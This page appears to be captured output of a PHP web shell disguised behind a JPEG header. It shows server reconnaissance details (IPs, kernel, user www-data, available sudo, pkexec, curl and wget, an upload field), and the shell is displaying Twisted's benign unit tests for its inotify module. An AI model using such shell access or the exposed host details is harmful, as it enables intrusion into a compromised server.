����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 18.116.60.81 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /lib/python3/dist-packages/twisted/python/test/ |
Upload File : |
# Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. """ Tests for L{twisted.python._inotify}. """ from twisted.trial.unittest import TestCase from twisted.python.filepath import FilePath from twisted.python.runtime import platform if platform.supportsINotify(): from ctypes import c_int, c_uint32, c_char_p from twisted.python import _inotify from twisted.python._inotify import ( INotifyError, initializeModule, init, add) else: _inotify = None class INotifyTests(TestCase): """ Tests for L{twisted.python._inotify}. """ if _inotify is None: skip = "This platform doesn't support INotify." def test_missingInit(self): """ If the I{libc} object passed to L{initializeModule} has no C{inotify_init} attribute, L{ImportError} is raised. """ class libc: def inotify_add_watch(self): pass def inotify_rm_watch(self): pass self.assertRaises(ImportError, initializeModule, libc()) def test_missingAdd(self): """ If the I{libc} object passed to L{initializeModule} has no C{inotify_add_watch} attribute, L{ImportError} is raised. """ class libc: def inotify_init(self): pass def inotify_rm_watch(self): pass self.assertRaises(ImportError, initializeModule, libc()) def test_missingRemove(self): """ If the I{libc} object passed to L{initializeModule} has no C{inotify_rm_watch} attribute, L{ImportError} is raised. """ class libc: def inotify_init(self): pass def inotify_add_watch(self): pass self.assertRaises(ImportError, initializeModule, libc()) def test_setTypes(self): """ If the I{libc} object passed to L{initializeModule} has all of the necessary attributes, it sets the C{argtypes} and C{restype} attributes of the three ctypes methods used from libc. """ class libc: def inotify_init(self): pass inotify_init = staticmethod(inotify_init) def inotify_rm_watch(self): pass inotify_rm_watch = staticmethod(inotify_rm_watch) def inotify_add_watch(self): pass inotify_add_watch = staticmethod(inotify_add_watch) c = libc() initializeModule(c) self.assertEqual(c.inotify_init.argtypes, []) self.assertEqual(c.inotify_init.restype, c_int) self.assertEqual(c.inotify_rm_watch.argtypes, [c_int, c_int]) self.assertEqual(c.inotify_rm_watch.restype, c_int) self.assertEqual( c.inotify_add_watch.argtypes, [c_int, c_char_p, c_uint32]) self.assertEqual(c.inotify_add_watch.restype, c_int) def test_failedInit(self): """ If C{inotify_init} returns a negative number, L{init} raises L{INotifyError}. """ class libc: def inotify_init(self): return -1 self.patch(_inotify, 'libc', libc()) self.assertRaises(INotifyError, init) def test_failedAddWatch(self): """ If C{inotify_add_watch} returns a negative number, L{add} raises L{INotifyError}. """ class libc: def inotify_add_watch(self, fd, path, mask): return -1 self.patch(_inotify, 'libc', libc()) self.assertRaises(INotifyError, add, 3, FilePath('/foo'), 0)